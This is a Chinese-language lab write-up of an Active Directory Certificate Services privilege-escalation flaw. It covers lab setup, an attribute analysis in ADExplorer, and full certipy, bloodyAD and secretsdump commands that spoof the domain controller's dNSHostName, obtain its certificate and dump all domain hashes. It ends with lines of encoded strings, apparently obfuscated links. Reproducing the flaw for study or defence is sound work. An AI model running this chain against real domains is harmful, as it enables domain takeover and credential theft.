漏洞概述
当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。这一漏洞最早由安全研究员Oliver Lyak发现并公开分析过程和POC,微软在2022年5月的安全更新中对其进行了修补。
影响范围较广,包括Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,详细版本号可以参考微软官方的公告(参考链接)。
操作系统:
Win10、Win Server 2016、Kali-linux-2022.1。
分析工具:
ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。
关于这个漏洞的分析和复现文章网上已经很多了,但是笔者在分析和复现这个漏洞时遇到的一些“坑”大多并未提及。所以,今天主要分享遇到的问题和解决方法。
首先设置Win Server 2016的IP地址为固定IP,然后设置其DNS服务器地址。测试时域控服务器的计算机名为dc,IP为192.168.220.160,网关为192.168.220.1
接下来是安装域控环境。在Win Server 2016安装域控环境比较简单,安装时,使用超级管理员Administrator登录,然后在服务管理器的仪表盘界面选择添加角色和功能,在弹出的向导中按照默认选项,直接“下一步”即可,注意在服务器角色界面中勾选“Active Directory域服务”即可,如下图所示:
域服务安装完成后,选择“将此服务器提升为域控制器”,如下图所示:
然后选择“添加新林”指定根域名,笔者测试时设置的是:fenghuotai.local,如下图所示:
其他的选项按照默认设置就可以了,另外,安装过程中会自动安装DNS服务器,安装成功后需要重启计算机。
最后是安装域证书服务。还是在服务管理器的仪表盘界面选择添加角色和功能,在弹出的向导中按照默认选项,直接“下一步”即可,注意在服务器角色界面中勾选“Active Directory证书服务”即可,如下图所示:
然后在选择角色服务的步骤中,需要额外再选择“证书颁发机构Web注册”,如下图所示:
域证书服务安装成功后,需要再配置域证书服务,如下图所示:
在配置域证书服务中,需要选择“证书颁发机构”和“证书颁发机构Web注册”,如下图所示:
最后再选择“企业证书”(如果不是域成员,无法选择该选项,但默认账号Administrator可以),如下图所示:
其他选项按照默认设置即可。
域控服务和域证书服务安装成功后,在服务管理器的仪表盘的工具菜单中选择“Active Directory管理中心”,然后在Users分组下新建一个用户账号,输入密码和选择“密码永不过期”,模拟加入域环境的普通用户账号。分析时使用的普通用户账号是testcve,如下图所示:
域普通用户账号建立好后,再选择另外一台计算机,测试时使用的是64位的 Win10系统,计算机名为testmachine,加入刚建立的域fenghuotai.local,然后使用刚建立的域普通用户账号testcve登录(加入域的方法请自行搜索,此步骤无特殊设置)。到此,测试环境就搭建好了。
以域普通用户账号testcve登录Win10计算机后,使用ADExplorer工具分析该提权漏洞产生的原因。
ADExplorer工具需要先登录,分析时使用普通域用户账号testcve登录fenghuotai.local域,如下图所示:
登录成功后,展开左边的树形控件“DC=fenghuotai,DC=local”,然后再展开“CN=Computers”和“CN=Users”,可以分别看到刚才新加入域的名为CN=TESTMACHINE的win10计算机机器账号和普通域用户账号CN=testcve,这两个账号均包含了很多属性值,如下图所示:
每个属性的具体含义可以参考微软官方的帮助文档,此次分析只关注该漏洞相关的属性。默认情况下,域用户账号可以申请User证书,域计算机机器账号可以申请Machine证书,两个证书都允许客戶端身份验证。
展开Computers分组,选中刚才加入域的计算机CN=TESTMACHINE,其中一项属性dNSHostName的内容为testmachine.fenghuotai.local,testmachine就是新加入域的Win10计算机的计算机名,这个属性是向域证书服务申请机器账号证书时用于标识指定计算机机器账号的,也就是说dNSHostName的内容和机器证书是绑定的,不同机器账号的dNSHostName内容,就会得到不同的证书。另外属性sAMAccountName的内容为TESTMACHINE$,这个属性作为计算机机器账号名,如下图所示:
那么可以将dNSHostName的内容改为域控服务器的内容吗?如果可以的话,岂不是就伪造成域控服务器的机器账号了吗?尝试将其内容改为dc.fenghuotai.local,却会得到一个错误,更改失败,如下图所示:
为什么会出现这个错误?因为dNSHostName属性和另外一个servicePrincipalName属性是相关联的,更改dNSHostName属性后,域控服务器将自动更新servicePrincipalName属性的值。这样就导致和原域控服务器机器账号的servicePrincipalName属性冲突了。TESTMACHINE$机器账号属性servicePrincipalName中的内容,如下图所示:
但是如果删除了其servicePrincipalName属性中的两项内容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName属性的内容为dc.fenghuotai.local,不会导致冲突,更改将会成功。
属性servicePrincipalName中删除了两项后的内容,如下图所示:
但是如果删除了其servicePrincipalName属性中的两项内容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName属性的内容为dc.fenghuotai.local,不会导致冲突,更改将会成功。
属性servicePrincipalName中删除了两项后的内容,如下图所示:
dNSHostName属性的内容成功更改为域控服务器的内容dc.fenghuotai.local,如下图所示:
到此,普通机器账号TESTMACHINE$成功伪造成了域控机器账号dc$,然后从Active Directory证书服务中申请到域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。
根据该漏洞的分析结果,想要成功利用该漏洞,需要满足如下几个条件:
1、域控服务器系统版本
Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,详细版本号可以参考微软官方的公告(参考链接)。
2、域内普通用户账号权限
需要获取域内至少一个普通用户账号权限,并且需要该账户对dNSHostName等属性具有相应的权限。默认情况,普通用户账号具有该权限。
3、企业证书服务
域内部署有企业证书服务,并允许被控制的计算机账户申请计算机身份验证证书。
环境搭建过程不再赘述,参照分析过程即可,攻击机选择Kali-linux-2022.1,需要安装额外的工具Certipy、bloodyAD、impacket、PKINITtools,工具安装下载链接在参考链接中,按照官方安装说明安装即可。
首先需要获取域控服务器,域证书服务器的一些基本信息。在受控的主机上执行powershell命令Get-ChildItem Cert:\LocalMachine\Root\,得到域证书服务器地址fenghuotai-DC-CA,域控服务器地址fenghuotai.local,域控计算机名为dc,如下图所示:
设置攻击机的DNS服务器地址为域控DNS服务器地址,或者在本地hosts文件中设置域控和与证书服务器域名的ip,不然会导致无法解析域名等错误。设置kali的hosts文件内容,如下图所示:
复现环境准备好后,先使用掌握的域内普通用户账号申请证书,并验证登录,测试复现环境是否异常。申请证书命令certipy req 'fenghuotai.local/testcve:1qaz3edc.@dc.fenghuotai.local' -ca fenghuotai-DC-CA -template User
可能会遇到NETBIOS超时现象,重新执行一次申请证书命令即可。
申请用户账号证书成功后,执行命令certipy auth -pfx testcve.pfx验证该证书,获取其NT hash,如下图所示:
成功获取到了NT hash,说明测试环境没问题。如果遇到错误(特别是还原域控虚拟机后),说明域控有些服务没正确启动。需要重启域控服务器,待仪表板上的服务项启动后,或者手动启动后,再重启Kerberos Key Distribution Center(kdc)服务。不知道实战中是否会遇到该错误,如果遇到了,后面的利用就无法进行了。
使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234*',新建一台名为pwnmachine,密码为CVEPassword1234*的机器账号,如下图所示:
然后使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dc.fenghuotai.local"]',设置其dNSHostName 属性为域控服务器属性,如下图所示:
设置成功后使用命令certipy req 'fenghuotai.local/pwnmachine$:CVEPassword1234*@192.168.220.160' -template Machine -dc-ip 192.168.220.160 -ca fenghuotai-DC-CA,申请新建的机器账号pwnmachine$的证书,其实申请到的是域控dc$的证书,如下图所示:
获取到域控的机器账号证书后,使用命令certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160进行登录验证,获取其NT hash,如下图所示:
然后使用impacket工具examples目录下的secretsdump.py脚本,命令为python3 secretsdump.py 'fenghuotai.local/dc$@dc.fenghuotai.local' -hashes :d396bce5a7bf19ed7bfa58b8f923357a,获取域内所有账号hash,如下图所示:
当然,还可以使用PKINITtools工具,获取域控最高权限shell,这部分就交给读者自己完成。
89aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7%4u0U0i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6i4m8V1j5i4c8W2i4K6u0V1k6%4g2A6k6r3g2Q4x3V1k6$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5x3W2)9J5k6o6t1$3z5e0t1K6
741K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7%4u0U0i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6i4m8V1j5i4c8W2i4K6u0V1k6%4g2A6k6r3g2Q4x3V1k6$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5x3W2)9J5k6o6t1$3z5e0t1K6
a42K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5k6i4y4W2j5i4u0U0K9q4)9J5k6h3W2X3j5%4u0Q4x3X3g2V1K9#2)9J5c8X3y4W2M7Y4c8A6k6Y4u0A6k6h3c8Q4x3X3c8S2j5%4c8A6N6X3g2Q4x3X3c8V1K9i4u0W2j5%4c8G2M7Y4W2Q4x3X3c8V1L8$3#2S2K9h3&6Q4x3X3c8H3M7X3W2$3K9h3I4W2k6$3g2Q4x3X3c8W2M7$3y4S2L8r3q4@1K9h3!0F1i4K6u0V1j5%4k6W2i4K6u0V1x3U0l9J5x3W2)9J5k6o6t1$3z5e0t1K6i4K6u0V1z5h3f1H3z5e0S2X3k6e0t1&6z5r3j5@1
b63K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9K6c8Y4y4J5j5#2)9K6c8o6p5I4i4K6t1$3j5h3#2H3i4K6y4n7N6r3W2E0k6i4y4@1j5h3#2H3i4K6y4p5x3e0j5#2y4o6p5K6x3K6M7K6x3#2)9J5y4X3q4E0M7q4)9K6b7Y4k6W2M7W2)9K6c8o6x3^5x3K6g2Q4x3U0k6S2L8i4m8Q4x3@1u0K6K9h3N6F1j5i4c8#2M7X3g2Q4x3@1c8h3g2q4l9^5b7K6m8m8y4@1@1^5j5g2A6r3M7#2x3%4y4s2c8Z5j5f1c8E0h3e0W2c8k6X3I4r3P5U0t1J5d9s2y4S2d9X3k6j5f1U0M7H3j5V1!0u0h3i4W2&6P5o6k6T1e0q4)9J5b7f1!0T1K9U0M7%4h3W2y4h3P5f1A6Q4x3V1q4*7k6X3c8%4x3V1q4A6b7e0c8i4i4K6u0V1g2X3k6K9L8h3y4k6N6X3^5H3j5#2)9J5k6q4A6^5K9o6u0H3M7Y4u0o6M7Y4W2t1b7U0c8r3g2K6t1K6N6@1u0x3g2h3!0@1f1f1k6T1N6W2m8I4z5p5D9I4c8Y4N6X3L8o6k6A6e0i4y4c8e0s2k6d9i4K6t1$3j5h3#2H3i4K6y4n7L8X3g2%4i4K6y4p5x3b7`.`.
7e9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6D9P5e0c8C8i4K6u0r3b7$3g2J5N6r3W2H3P5b7`.`.
84aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6o6M7X3q4$3j5i4c8W2f1X3!0#2k6$3g2Q4x3V1k6T1L8r3!0G2k6s2W2m8c8l9`.`.
913K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0k6h3y4#2M7X3g2m8N6i4c8Z5b7$3!0J5M7q4)9J5c8X3W2E0M7r3q4U0K9$3g2@1
453K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6V1K9i4u0C8K9X3q4F1L8g2)9J5c8W2m8w2d9f1&6u0g2s2c8G2L8$3I4K6